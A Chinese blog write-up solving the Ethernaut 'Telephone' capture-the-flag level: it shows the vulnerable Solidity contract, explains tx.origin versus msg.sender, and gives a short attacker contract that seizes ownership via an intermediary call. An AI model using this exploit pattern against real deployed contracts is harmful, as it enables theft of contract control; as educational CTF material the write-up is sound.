抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. 题目要求

  • 要求: 获取合约的所有权
  • image-20230223205306437
  • 合约代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

2. 分析

  • 2.1 状态owner变量在constructor,唯一会更新owner的函数是 changeOwner(),它是一个只接受一个参数的公共函数address _owner。如果tx.origin值不同,msg.sender它将owner使用函数输入参数更新_owner

  • 2.2 tx.origin() 和 msg.sender()的区别

  • tx.origin(address): 交易的发送方(完整的调用链)返回的是已发送(原始)交易的地址

  • msg.sender( address):消息的发送者(当前通话)返回的是发起呼叫的值external(合约调用者)

  • 画图区分:image-20230223231010615

  • 2.3 攻击合约:

  • contract Hack {
        function exploit(Telephone level) public { 
            level.changeOwner(msg.sender); 
        } 
    }
    
  • 2.4 调用Hack 合约中的 exploit()函数,形参是关卡的实例地址就🆗的

3. 解题

  • 3.1 获取关卡的实例:0xf956A62d9BD792a712763aA21863d3025A5dd926

  • 3.2 调用关卡合约并部署攻击合约

  • image-20230224134140618

  • 3.3 查看原拥有着,并调用攻击合约中额exploit() 函数

  • image-20230224134455496

  • image-20230224134628806

  • 3.4 提交实例并查看结果

  • image-20230224134812780

  • 3.5 成功!!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计